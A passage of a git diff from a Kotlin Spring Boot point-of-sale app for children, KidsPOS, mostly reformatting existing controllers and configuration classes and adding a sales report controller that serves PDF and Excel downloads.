a/src/main/kotlin/info/nukoneko/kidspos/common/service/IdGenerationService.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/common/service/IdGenerationService.kt @@ -20,16 +20,17 @@ class IdGenerationService { * @param repository Any repository with a getLastId() method * @return The next available ID (lastId + 1, or 1 if empty) */ - fun generateNextId(repository: T): Int { - return try { - val lastId = when (repository) { - is HasLastId -> repository.getLastId() - else -> { - // Use reflection to call getLastId() if available - val method = repository!!.javaClass.getMethod("getLastId") - method.invoke(repository) as Int + fun generateNextId(repository: T): Int = + try { + val lastId = + when (repository) { + is HasLastId -> repository.getLastId() + else -> { + // Use reflection to call getLastId() if available + val method = repository!!.javaClass.getMethod("getLastId") + method.invoke(repository) as Int + } } - } val nextId = lastId + 1 logger.debug("Generated next ID: {} for repository: {}", nextId, repository.javaClass.simpleName) nextId @@ -40,7 +41,6 @@ class IdGenerationService { logger.warn("Error generating ID, defaulting to 1: {}", e.message) 1 } - } /** * Interface for repositories that support getLastId @@ -48,4 +48,4 @@ class IdGenerationService { interface HasLastId { fun getLastId(): Int } -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/receipt/ReceiptDetail.kt b/src/main/kotlin/info/nukoneko/kidspos/receipt/ReceiptDetail.kt index 2e7c371..c3efc5f 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/receipt/ReceiptDetail.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/receipt/ReceiptDetail.kt @@ -9,5 +9,5 @@ data class ReceiptDetail( val staffName: String?, val deposit: Int, val transactionId: String?, - val createdAt: Date + val createdAt: Date, ) diff --git a/src/main/kotlin/info/nukoneko/kidspos/receipt/ReceiptPrinter.kt b/src/main/kotlin/info/nukoneko/kidspos/receipt/ReceiptPrinter.kt index 0beeafd..321dc9a 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/receipt/ReceiptPrinter.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/receipt/ReceiptPrinter.kt @@ -9,7 +9,9 @@ import java.nio.charset.Charset import java.text.SimpleDateFormat class ReceiptPrinter( - private val ipOrHost: String, private val port: Int, detail: ReceiptDetail + private val ipOrHost: String, + private val port: Int, + detail: ReceiptDetail, ) { private val command = PrintCommand(Charset.forName("SJIS")) @@ -45,7 +47,7 @@ class ReceiptPrinter( writeKV("おつり", detail.deposit - total) command.drawLine() - /// Footer + // / Footer // 注釈 command.newLine() @@ -65,7 +67,10 @@ class ReceiptPrinter( * 商品1行を印字する * safe** は 古いプリンタのための対応 JISだと 半角文字が干渉しておかしくなる */ - private fun writeKV(key: String, value: Int) { + private fun writeKV( + key: String, + value: Int, + ) { val safeKey = key.toAllEm() val safePrefix = "リバー" val safeValue = value.toEm() diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/ServerApplication.kt b/src/main/kotlin/info/nukoneko/kidspos/server/ServerApplication.kt index 0ae9d98..788f7ee 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/ServerApplication.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/ServerApplication.kt @@ -15,4 +15,4 @@ class ServerApplication fun main(args: Array) { runApplication(*args) -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/config/AppConfig.kt b/src/main/kotlin/info/nukoneko/kidspos/server/config/AppConfig.kt index 26e5c2a..197e083 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/config/AppConfig.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/config/AppConfig.kt @@ -5,4 +5,4 @@ import org.springframework.context.annotation.Configuration @Configuration @EnableConfigurationProperties(AppProperties::class) -class AppConfig \ No newline at end of file +class AppConfig diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/config/AppProperties.kt b/src/main/kotlin/info/nukoneko/kidspos/server/config/AppProperties.kt index 12f0a2b..b72fb8a 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/config/AppProperties.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/config/AppProperties.kt @@ -6,28 +6,28 @@ import org.springframework.boot.context.properties.ConfigurationProperties data class AppProperties( val receipt: ReceiptProperties = ReceiptProperties(), val barcode: BarcodeProperties = BarcodeProperties(), - val network: NetworkProperties = NetworkProperties() + val network: NetworkProperties = NetworkProperties(), ) { data class ReceiptProperties( - val printer: PrinterProperties = PrinterProperties() + val printer: PrinterProperties = PrinterProperties(), ) { data class PrinterProperties( val host: String = "localhost", - val port: Int = 9100 + val port: Int = 9100, ) } data class BarcodeProperties( val qrSize: Int = 200, - val pdf: PdfProperties = PdfProperties() + val pdf: PdfProperties = PdfProperties(), ) { data class PdfProperties( val margin: Float = 20f, - val imageSize: Float = 100f + val imageSize: Float = 100f, ) } data class NetworkProperties( - val allowedIpPrefix: String = "192." + val allowedIpPrefix: String = "192.", ) -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/config/CacheConfig.kt b/src/main/kotlin/info/nukoneko/kidspos/server/config/CacheConfig.kt index 12cc5e3..30ed877 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/config/CacheConfig.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/config/CacheConfig.kt @@ -15,7 +15,6 @@ import org.springframework.context.annotation.Configuration @Configuration @EnableCaching class CacheConfig : CachingConfigurerSupport() { - private val logger = LoggerFactory.getLogger(CacheConfig::class.java) companion object { @@ -44,7 +43,7 @@ class CacheConfig : CachingConfigurerSupport() { STAFF_CACHE, STAFF_BY_ID_CACHE, SETTINGS_CACHE, - NETWORK_HOSTS_CACHE + NETWORK_HOSTS_CACHE, ).apply { // Allow null values to handle non-existent items isAllowNullValues = true @@ -53,9 +52,7 @@ class CacheConfig : CachingConfigurerSupport() { } @Bean - fun cacheEventLogger(): CacheEventLogger { - return CacheEventLogger() - } + fun cacheEventLogger(): CacheEventLogger = CacheEventLogger() } /** @@ -64,19 +61,31 @@ class CacheConfig : CachingConfigurerSupport() { class CacheEventLogger { private val logger = LoggerFactory.getLogger(CacheEventLogger::class.java) - fun logCacheHit(cacheName: String, key: Any) { + fun logCacheHit( + cacheName: String, + key: Any, + ) { logger.debug("Cache HIT - Cache: {}, Key: {}", cacheName, key) } - fun logCacheMiss(cacheName: String, key: Any) { + fun logCacheMiss( + cacheName: String, + key: Any, + ) { logger.debug("Cache MISS - Cache: {}, Key: {}", cacheName, key) } - fun logCachePut(cacheName: String, key: Any) { + fun logCachePut( + cacheName: String, + key: Any, + ) { logger.debug("Cache PUT - Cache: {}, Key: {}", cacheName, key) } - fun logCacheEvict(cacheName: String, key: Any) { + fun logCacheEvict( + cacheName: String, + key: Any, + ) { logger.debug("Cache EVICT - Cache: {}, Key: {}", cacheName, key) } -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/config/OpenApiConfig.kt b/src/main/kotlin/info/nukoneko/kidspos/server/config/OpenApiConfig.kt index 9ef8d69..436f216 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/config/OpenApiConfig.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/config/OpenApiConfig.kt @@ -18,15 +18,14 @@ import org.springframework.context.annotation.Configuration */ @Configuration class OpenApiConfig { - /** * Configure OpenAPI specification details * * @return OpenAPI configuration with metadata */ @Bean - fun customOpenAPI(): OpenAPI { - return OpenAPI() + fun customOpenAPI(): OpenAPI = + OpenAPI() .info( Info() .title("KidsPOS Server API") @@ -36,23 +35,19 @@ class OpenApiConfig { KidsPOS (キッズPOS) is a simplified Point of Sale system designed for educational and entertainment purposes. This API provides endpoints for managing sales, inventory, staff, and store operations. - """.trimIndent() - ) - .contact( + """.trimIndent(), + ).contact( Contact() .name("KidsPOS Development Team") - .email("support@kidspos.example.com") - ) - .license( + .email("support@kidspos.example.com"), + ).license( License() .name("MIT License") - .url("https://opensource.org/licenses/MIT") - ) - ) - .addServersItem( + .url("https://opensource.org/licenses/MIT"), + ), + ).addServersItem( Server() .url("http://localhost:8080") - .description("Local development server") + .description("Local development server"), ) - } -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/advice/GlobalExceptionHandler.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/advice/GlobalExceptionHandler.kt index 0f7ab11..5b27de4 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/advice/GlobalExceptionHandler.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/advice/GlobalExceptionHandler.kt @@ -19,216 +19,231 @@ class GlobalExceptionHandler { @ExceptionHandler(ItemNotFoundException::class) fun handleItemNotFound( ex: ItemNotFoundException, - request: WebRequest + request: WebRequest, ): ResponseEntity { logger.warn("Item not found: ${ex.message}") - return ResponseEntity.status(HttpStatus.NOT_FOUND) + return ResponseEntity + .status(HttpStatus.NOT_FOUND) .body( ErrorResponse( code = "ITEM_NOT_FOUND", message = ex.message ?: "Item not found", - path = request.getDescription(false) - ) + path = request.getDescription(false), + ), ) } @ExceptionHandler(SaleNotFoundException::class) fun handleSaleNotFound( ex: SaleNotFoundException, - request: WebRequest + request: WebRequest, ): ResponseEntity { logger.warn("Sale not found: ${ex.message}") - return ResponseEntity.status(HttpStatus.NOT_FOUND) + return ResponseEntity + .status(HttpStatus.NOT_FOUND) .body( ErrorResponse( code = "SALE_NOT_FOUND", message = ex.message ?: "Sale not found", - path = request.getDescription(false) - ) + path = request.getDescription(false), + ), ) } @ExceptionHandler(StoreNotFoundException::class) fun handleStoreNotFound( ex: StoreNotFoundException, - request: WebRequest + request: WebRequest, ): ResponseEntity { logger.warn("Store not found: ${ex.message}") - return ResponseEntity.status(HttpStatus.NOT_FOUND) + return ResponseEntity + .status(HttpStatus.NOT_FOUND) .body( ErrorResponse( code = "STORE_NOT_FOUND", message = ex.message ?: "Store not found", - path = request.getDescription(false) - ) + path = request.getDescription(false), + ), ) } @ExceptionHandler(StaffNotFoundException::class) fun handleStaffNotFound( ex: StaffNotFoundException, - request: WebRequest + request: WebRequest, ): ResponseEntity { logger.warn("Staff not found: ${ex.message}") - return ResponseEntity.status(HttpStatus.NOT_FOUND) + return ResponseEntity + .status(HttpStatus.NOT_FOUND) .body( ErrorResponse( code = "STAFF_NOT_FOUND", message = ex.message ?: "Staff not found", - path = request.getDescription(false) - ) + path = request.getDescription(false), + ), ) } @ExceptionHandler(InvalidBarcodeException::class) fun handleInvalidBarcode( ex: InvalidBarcodeException, - request: WebRequest + request: WebRequest, ): ResponseEntity { logger.warn("Invalid barcode: ${ex.message}") - return ResponseEntity.status(HttpStatus.BAD_REQUEST) + return ResponseEntity + .status(HttpStatus.BAD_REQUEST) .body( ErrorResponse( code = "INVALID_BARCODE", message = ex.message ?: "Invalid barcode format", - path = request.getDescription(false) - ) + path = request.getDescription(false), + ), ) } @ExceptionHandler(ValidationException::class) fun handleValidation( ex: ValidationException, - request: WebRequest + request: WebRequest, ): ResponseEntity { logger.warn("Validation failed: ${ex.message}") - return ResponseEntity.status(HttpStatus.BAD_REQUEST) + return ResponseEntity + .status(HttpStatus.BAD_REQUEST) .body( ErrorResponse( code = "VALIDATION_ERROR", message = ex.message ?: "Validation failed", - path = request.getDescription(false) - ) + path = request.getDescription(false), + ), ) } @ExceptionHandler(ResourceNotFoundException::class) fun handleResourceNotFound( ex: ResourceNotFoundException, - request: WebRequest + request: WebRequest, ): ResponseEntity { logger.debug("Resource not found: ${ex.message}") - return ResponseEntity.status(HttpStatus.NOT_FOUND) + return ResponseEntity + .status(HttpStatus.NOT_FOUND) .body( ErrorResponse( code = "RESOURCE_NOT_FOUND", message = ex.message ?: "Resource not found", - path = request.getDescription(false) - ) + path = request.getDescription(false), + ), ) } @ExceptionHandler(DuplicateResourceException::class) fun handleDuplicateResource( ex: DuplicateResourceException, - request: WebRequest + request: WebRequest, ): ResponseEntity { logger.debug("Duplicate resource: ${ex.message}") - return ResponseEntity.status(HttpStatus.CONFLICT) + return ResponseEntity + .status(HttpStatus.CONFLICT) .body( ErrorResponse( code = "DUPLICATE_RESOURCE", message = ex.message ?: "Duplicate resource", - path = request.getDescription(false) - ) + path = request.getDescription(false), + ), ) } @ExceptionHandler(IllegalArgumentException::class) fun handleIllegalArgument( ex: IllegalArgumentException, - request: WebRequest + request: WebRequest, ): ResponseEntity { logger.debug("Validation error: ${ex.message}") - return ResponseEntity.status(HttpStatus.BAD_REQUEST) + return ResponseEntity + .status(HttpStatus.BAD_REQUEST) .body( ErrorResponse( code = "VALIDATION_ERROR", message = ex.message ?: "Invalid request", - path = request.getDescription(false) - ) + path = request.getDescription(false), + ), ) } @ExceptionHandler(MethodArgumentNotValidException::class) fun handleMethodArgumentNotValid( ex: MethodArgumentNotValidException, - request: WebRequest + request: WebRequest, ): ResponseEntity { - val errors = ex.bindingResult.fieldErrors - .map { "${it.field}: ${it.defaultMessage}" } - .joinToString(", ") + val errors = + ex.bindingResult.fieldErrors + .map { "${it.field}: ${it.defaultMessage}" } + .joinToString(", ") logger.warn("Validation failed: $errors") - return ResponseEntity.status(HttpStatus.BAD_REQUEST) + return ResponseEntity + .status(HttpStatus.BAD_REQUEST) .body( ErrorResponse( code = "VALIDATION_ERROR", message = "Validation failed: $errors", - path = request.getDescription(false) - ) + path = request.getDescription(false), + ), ) } @ExceptionHandler(ConstraintViolationException::class) fun handleConstraintViolation( ex: ConstraintViolationException, - request: WebRequest + request: WebRequest, ): ResponseEntity { - val errors = ex.constraintViolations - .map { "${it.propertyPath}: ${it.message}" } - .joinToString(", ") + val errors = + ex.constraintViolations + .map { "${it.propertyPath}: ${it.message}" } + .joinToString(", ") logger.debug("Constraint violation: $errors") - return ResponseEntity.status(HttpStatus.BAD_REQUEST) + return ResponseEntity + .status(HttpStatus.BAD_REQUEST) .body( ErrorResponse( code = "VALIDATION_ERROR", message = "Validation failed: $errors", - path = request.getDescription(false) - ) + path = request.getDescription(false), + ), ) } @ExceptionHandler(MissingKotlinParameterException::class) fun handleMissingKotlinParameter( ex: MissingKotlinParameterException, - request: WebRequest + request: WebRequest, ): ResponseEntity { val parameterName = ex.parameter.name ?: "unknown" logger.debug("Missing required parameter: $parameterName") - return ResponseEntity.status(HttpStatus.BAD_REQUEST) + return ResponseEntity + .status(HttpStatus.BAD_REQUEST) .body( ErrorResponse( code = "MISSING_PARAMETER", message = "Missing required parameter: $parameterName", - path = request.getDescription(false) - ) + path = request.getDescription(false), + ), ) } @ExceptionHandler(Exception::class) fun handleGenericException( ex: Exception, - request: WebRequest + request: WebRequest, ): ResponseEntity { logger.error("Unexpected error occurred", ex) - return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR) + return ResponseEntity + .status(HttpStatus.INTERNAL_SERVER_ERROR) .body( ErrorResponse( code = "INTERNAL_ERROR", message = "An unexpected error occurred", - path = request.getDescription(false) - ) + path = request.getDescription(false), + ), ) } -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/ItemApiController.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/ItemApiController.kt index 8c0ef52..5b44768 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/ItemApiController.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/ItemApiController.kt @@ -56,7 +56,7 @@ class ItemApiController { @ApiResponse( responseCode = "200", description = "Successfully retrieved items", - content = [Content(array = ArraySchema(schema = Schema(implementation = ItemResponse::class)))] + content = [Content(array = ArraySchema(schema = Schema(implementation = ItemResponse::class)))], ) fun findAll(): ResponseEntity> { logger.info("Fetching all items") @@ -69,19 +69,21 @@ class ItemApiController { @ApiResponses( value = [ ApiResponse( - responseCode = "200", description = "Item found", - content = [Content(schema = Schema(implementation = ItemResponse::class))] + responseCode = "200", + description = "Item found", + content = [Content(schema = Schema(implementation = ItemResponse::class))], ), - ApiResponse(responseCode = "404", description = "Item not found") - ] + ApiResponse(responseCode = "404", description = "Item not found"), + ], ) fun findById( @Parameter(description = "Item ID", required = true) - @PathVariable id: Int + @PathVariable id: Int, ): ResponseEntity { logger.info("Fetching item with ID: {}", id) - val item = itemService.findItem(id) - ?: throw ItemNotFoundException(id = id) + val item = + itemService.findItem(id) + ?: throw ItemNotFoundException(id = id) return ResponseEntity.ok(itemMapper.toResponse(item)) } @@ -90,16 +92,17 @@ class ItemApiController { @ApiResponses( value = [ ApiResponse( - responseCode = "200", description = "Item found", - content = [Content(schema = Schema(implementation = ItemResponse::class))] + responseCode = "200", + description = "Item found", + content = [Content(schema = Schema(implementation = ItemResponse::class))], ), ApiResponse(responseCode = "400", description = "Invalid barcode format"), - ApiResponse(responseCode = "404", description = "Item not found") - ] + ApiResponse(responseCode = "404", description = "Item not found"), + ], ) fun findByBarcode( @Parameter(description = "Item barcode (4+ digits)", required = true, example = "1234567890") - @PathVariable barcode: String + @PathVariable barcode: String, ): ResponseEntity { logger.info("Fetching item with barcode: {}", barcode) @@ -108,13 +111,16 @@ class ItemApiController { throw InvalidBarcodeException(barcode) } - val item = itemService.findItem(barcode) - ?: throw ItemNotFoundException(barcode = barcode) + val item = + itemService.findItem(barcode) + ?: throw ItemNotFoundException(barcode = barcode) return ResponseEntity.ok(itemMapper.toResponse(item)) } @PostMapping - fun create(@Valid @RequestBody request: CreateItemRequest): ResponseEntity { + fun create( + @Valid @RequestBody request: CreateItemRequest, + ): ResponseEntity { logger.info("Creating new item with barcode: {}", request.barcode) // Validate barcode uniqueness @@ -122,11 +128,12 @@ class ItemApiController { validationService.validatePriceRange(request.price) // Convert to legacy ItemBean for compatibility - val itemBean = ItemBean( - barcode = request.barcode, - name = request.name, - price = request.price - ) + val itemBean = + ItemBean( + barcode = request.barcode, + name = request.name, + price = request.price, + ) val savedItem = itemService.save(itemBean) logger.info("Item created successfully with ID: {}", savedItem.id) @@ -139,7 +146,7 @@ class ItemApiController { @PutMapping("/{id}") fun update( @PathVariable id: Int, - @Valid @RequestBody request: CreateItemRequest + @Valid @RequestBody request: CreateItemRequest, ): ResponseEntity { logger.info("Updating item with ID: {}", id) @@ -152,12 +159,13 @@ class ItemApiController { validationService.validatePriceRange(request.price) // Update the item - val itemBean = ItemBean( - id = id, - barcode = request.barcode, - name = request.name, - price = request.price - ) + val itemBean = + ItemBean( + id = id, + barcode = request.barcode, + name = request.name, + price = request.price, + ) val updatedItem = itemService.save(itemBean) logger.info("Item updated successfully with ID: {}", updatedItem.id) @@ -168,13 +176,14 @@ class ItemApiController { @PatchMapping("/{id}") fun partialUpdate( @PathVariable id: Int, - @RequestBody updates: Map + @RequestBody updates: Map, ): ResponseEntity { logger.info("Partially updating item with ID: {}", id) // Check if item exists - val existingItem = itemService.findItem(id) - ?: throw ItemNotFoundException(id = id) + val existingItem = + itemService.findItem(id) + ?: throw ItemNotFoundException(id = id) // Apply updates val barcode = updates["barcode"]?.toString() ?: existingItem.barcode @@ -188,12 +197,13 @@ class ItemApiController { validationService.validatePriceRange(price) // Update the item - val itemBean = ItemBean( - id = id, - barcode = barcode, - name = name, - price = price - ) + val itemBean = + ItemBean( + id = id, + barcode = barcode, + name = name, + price = price, + ) val updatedItem = itemService.save(itemBean) logger.info("Item partially updated successfully with ID: {}", updatedItem.id) @@ -204,12 +214,12 @@ class ItemApiController { @GetMapping("/barcode-pdf", produces = ["application/pdf"]) @Operation( summary = "Generate barcode PDF", - description = "Generate a PDF document containing barcodes for all items" + description = "Generate a PDF document containing barcodes for all items", ) @ApiResponse( responseCode = "200", description = "PDF generated successfully", - content = [Content(mediaType = "application/pdf")] + content = [Content(mediaType = "application/pdf")], ) fun generateBarcodePdf(): ResponseEntity { logger.info("Generating barcode PDF for all items") @@ -217,13 +227,15 @@ class ItemApiController { val items = itemService.findAll() val pdfBytes = barcodeService.generateBarcodePdf(items) - val headers = HttpHeaders().apply { - contentType = MediaType.APPLICATION_PDF - setContentDispositionFormData("inline", "barcodes.pdf") - } + val headers = + HttpHeaders().apply { + contentType = MediaType.APPLICATION_PDF + setContentDispositionFormData("inline", "barcodes.pdf") + } logger.info("Barcode PDF generated successfully with {} items", items.size) - return ResponseEntity.ok() + return ResponseEntity + .ok() .headers(headers) .body(pdfBytes) } @@ -231,16 +243,16 @@ class ItemApiController { @PostMapping("/barcode-pdf/selected", produces = ["application/pdf"]) @Operation( summary = "Generate barcode PDF for selected items", - description = "Generate a PDF document containing barcodes for selected items" + description = "Generate a PDF document containing barcodes for selected items", ) @ApiResponse( responseCode = "200", description = "PDF generated successfully", - content = [Content(mediaType = "application/pdf")] + content = [Content(mediaType = "application/pdf")], ) fun generateSelectedBarcodePdf( @RequestBody itemIds: List, - @RequestParam(defaultValue = "false") showBorders: Boolean + @RequestParam(defaultValue = "false") showBorders: Boolean, ): ResponseEntity { logger.info("Generating barcode PDF for {} selected items", itemIds.size) @@ -248,9 +260,10 @@ class ItemApiController { throw IllegalArgumentException("No items selected") } - val items = itemIds.mapNotNull { id -> - itemService.findItem(id) - } + val items = + itemIds.mapNotNull { id -> + itemService.findItem(id) + } if (items.isEmpty()) { throw ItemNotFoundException() @@ -258,20 +271,24 @@ class ItemApiController { val pdfBytes = barcodeService.generateBarcodePdf(items, showBorders) - val headers = HttpHeaders().apply { - contentType = MediaType.APPLICATION_PDF - setContentDispositionFormData("attachment", "selected_barcodes.pdf") - } + val headers = + HttpHeaders().apply { + contentType = MediaType.APPLICATION_PDF + setContentDispositionFormData("attachment", "selected_barcodes.pdf") + } logger.info("Selected barcode PDF generated successfully with {} items", items.size) - return ResponseEntity.ok() + return ResponseEntity + .ok() .headers(headers) .body(pdfBytes) } @DeleteMapping("/{id}") - fun delete(@PathVariable id: Int): ResponseEntity { + fun delete( + @PathVariable id: Int, + ): ResponseEntity { logger.info("Deleting item with ID: {}", id) // Check if item exists @@ -282,4 +299,4 @@ class ItemApiController { return ResponseEntity.noContent().build() } -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/SaleApiController.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/SaleApiController.kt index 4ba74d3..22ce8e5 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/SaleApiController.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/SaleApiController.kt @@ -27,12 +27,14 @@ class SaleApiController( private val saleProcessingService: SaleProcessingService, private val itemParsingService: ItemParsingService, private val receiptService: ReceiptService, - private val saleMapper: SaleMapper + private val saleMapper: SaleMapper, ) { private val logger = LoggerFactory.getLogger(SaleApiController::class.java) @PostMapping - fun createSale(@Valid @RequestBody request: CreateSaleRequest): ResponseEntity> { + fun createSale( + @Valid @RequestBody request: CreateSaleRequest, + ): ResponseEntity> { logger.info("Creating sale for store: {}", request.storeId) return try { @@ -40,12 +42,13 @@ class SaleApiController( val items = itemParsingService.parseItemsFromIds(request.itemIds) // Process the sale - val saleBean = SaleBean( - storeId = request.storeId, - staffBarcode = request.staffBarcode, - itemIds = request.itemIds, - deposit = request.deposit - ) + val saleBean = + SaleBean( + storeId = request.storeId, + staffBarcode = request.staffBarcode, + itemIds = request.itemIds, + deposit = request.deposit, + ) when (val result = saleProcessingService.processSaleWithValidation(saleBean, items)) { is SaleResult.Success -> { // Print receipt @@ -53,19 +56,20 @@ class SaleApiController( request.storeId, items, request.staffBarcode, - request.deposit + request.deposit, ) val sale = result.sale - val response = mapOf( - "id" to sale.id, - "amount" to sale.amount, - "quantity" to sale.quantity, - "deposit" to request.deposit, - "change" to (request.deposit - sale.amount), - "staffId" to sale.staffId, - "storeId" to sale.storeId - ) + val response = + mapOf( + "id" to sale.id, + "amount" to sale.amount, + "quantity" to sale.quantity, + "deposit" to request.deposit, + "change" to (request.deposit - sale.amount), + "staffId" to sale.staffId, + "storeId" to sale.storeId, + ) logger.info("Sale created successfully: ID={}", sale.id) ResponseEntity.status(201).body(response) } @@ -92,7 +96,9 @@ class SaleApiController( } @PostMapping("/create") - fun createSaleOld(@Valid @ModelAttribute saleBean: SaleBean): ResponseEntity { + fun createSaleOld( + @Valid @ModelAttribute saleBean: SaleBean, + ): ResponseEntity { logger.info("Creating sale for store: {}", saleBean.storeId) return try { @@ -107,7 +113,7 @@ class SaleApiController( saleBean.storeId, items, saleBean.staffBarcode, - saleBean.deposit + saleBean.deposit, ) val response = saleMapper.toResponse(result.sale) @@ -137,7 +143,9 @@ class SaleApiController( } @GetMapping("/{id}") - fun getSale(@PathVariable id: Int): ResponseEntity { + fun getSale( + @PathVariable id: Int, + ): ResponseEntity { logger.info("Fetching sale with ID: {}", id) return try { @@ -169,11 +177,12 @@ class SaleApiController( } @GetMapping("/validate-printer/{storeId}") - fun validatePrinter(@PathVariable storeId: Int): ResponseEntity> { + fun validatePrinter( + @PathVariable storeId: Int, + ): ResponseEntity> { logger.info("Validating printer configuration for store: {}", storeId) val isValid = receiptService.validatePrinterConfiguration(storeId) return ResponseEntity.ok(mapOf("printerConfigured" to isValid)) } - } diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/SaleReportController.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/SaleReportController.kt new file mode 100644 index 0000000..b52dcdb --- /dev/null +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/SaleReportController.kt @@ -0,0 +1,188 @@ +package info.nukoneko.kidspos.server.controller.api + +import info.nukoneko.kidspos.server.service.SaleExcelReportService +import info.nukoneko.kidspos.server.service.SaleReportService +import org.slf4j.LoggerFactory +import org.springframework.format.annotation.DateTimeFormat +import org.springframework.http.HttpHeaders +import org.springframework.http.MediaType +import org.springframework.http.ResponseEntity +import org.springframework.web.bind.annotation.* +import java.text.SimpleDateFormat +import java.util.* + +@RestController +@RequestMapping("/api/reports") +class SaleReportController( + private val saleReportService: SaleReportService, + private val saleExcelReportService: SaleExcelReportService, +) { + private val logger = LoggerFactory.getLogger(SaleReportController::class.java) + private val dateFormat = SimpleDateFormat("yyyyMMdd") + + @GetMapping("/sales/pdf") + fun downloadSalesReport( + @RequestParam @DateTimeFormat(iso = DateTimeFormat.ISO.DATE) startDate: Date, + @RequestParam @DateTimeFormat(iso = DateTimeFormat.ISO.DATE) endDate: Date, + @RequestParam(required = false) storeId: Int?, + ): ResponseEntity { + logger.info("Generating sales report PDF from {} to {} for store: {}", startDate, endDate, storeId ?: "all") + + return try { + val pdfBytes = + if (storeId != null) { + saleReportService.generateSalesReportByStore(storeId, startDate, endDate) + } else { + saleReportService.generateSalesReport(startDate, endDate) + } + + val fileName = buildFileName(startDate, endDate, storeId) + + ResponseEntity + .ok() + .header(HttpHeaders.CONTENT_DISPOSITION, "attachment; filename=\"$fileName\"") + .header(HttpHeaders.ACCESS_CONTROL_EXPOSE_HEADERS, HttpHeaders.CONTENT_DISPOSITION) + .contentType(MediaType.APPLICATION_PDF) + .contentLength(pdfBytes.size.toLong()) + .body(pdfBytes) + } catch (e: Exception) { + logger.error("Error generating sales report PDF", e) + ResponseEntity.internalServerError().build() + } + } + + @GetMapping("/sales/pdf/today") + fun downloadTodaySalesReport( + @RequestParam(required = false) storeId: Int?, + ): ResponseEntity { + val calendar = Calendar.getInstance() + calendar.set(Calendar.HOUR_OF_DAY, 0) + calendar.set(Calendar.MINUTE, 0) + calendar.set(Calendar.SECOND, 0) + calendar.set(Calendar.MILLISECOND, 0) + val startDate = calendar.time + + calendar.set(Calendar.HOUR_OF_DAY, 23) + calendar.set(Calendar.MINUTE, 59) + calendar.set(Calendar.SECOND, 59) + val endDate = calendar.time + + return downloadSalesReport(startDate, endDate, storeId) + } + + @GetMapping("/sales/pdf/month") + fun downloadMonthlySalesReport( + @RequestParam year: Int, + @RequestParam month: Int, + @RequestParam(required = false) storeId: Int?, + ): ResponseEntity { + val calendar = Calendar.getInstance() + calendar.set(year, month - 1, 1, 0, 0, 0) + calendar.set(Calendar.MILLISECOND, 0) + val startDate = calendar.time + + calendar.add(Calendar.MONTH, 1) + calendar.add(Calendar.DAY_OF_MONTH, -1) + calendar.set(Calendar.HOUR_OF_DAY, 23) + calendar.set(Calendar.MINUTE, 59) + calendar.set(Calendar.SECOND, 59) + val endDate = calendar.time + + logger.info("Generating monthly sales report for {}/{}", year, month) + return downloadSalesReport(startDate, endDate, storeId) + } + + @GetMapping("/sales/excel") + fun downloadSalesExcelReport( + @RequestParam @DateTimeFormat(iso = DateTimeFormat.ISO.DATE) startDate: Date, + @RequestParam @DateTimeFormat(iso = DateTimeFormat.ISO.DATE) endDate: Date, + @RequestParam(required = false) storeId: Int?, + ): ResponseEntity { + logger.info("Generating sales Excel report from {} to {} for store: {}", startDate, endDate, storeId ?: "all") + + return try { + val excelBytes = + if (storeId != null) { + saleExcelReportService.generateSalesExcelReportByStore(storeId, startDate, endDate) + } else { + saleExcelReportService.generateSalesExcelReport(startDate, endDate) + } + + val fileName = buildExcelFileName(startDate, endDate, storeId) + + ResponseEntity + .ok() + .header(HttpHeaders.CONTENT_DISPOSITION, "attachment; filename=\"$fileName\"") + .header(HttpHeaders.ACCESS_CONTROL_EXPOSE_HEADERS, HttpHeaders.CONTENT_DISPOSITION) + .contentType(MediaType.parseMediaType("application/vnd.openxmlformats-officedocument.spreadsheetml.sheet")) + .contentLength(excelBytes.size.toLong()) + .body(excelBytes) + } catch (e: Exception) { + logger.error("Error generating sales Excel report", e) + ResponseEntity.internalServerError().build() + } + } + + @GetMapping("/sales/excel/today") + fun downloadTodaySalesExcelReport( + @RequestParam(required = false) storeId: Int?, + ): ResponseEntity { + val calendar = Calendar.getInstance() + calendar.set(Calendar.HOUR_OF_DAY, 0) + calendar.set(Calendar.MINUTE, 0) + calendar.set(Calendar.SECOND, 0) + calendar.set(Calendar.MILLISECOND, 0) + val startDate = calendar.time + + calendar.set(Calendar.HOUR_OF_DAY, 23) + calendar.set(Calendar.MINUTE, 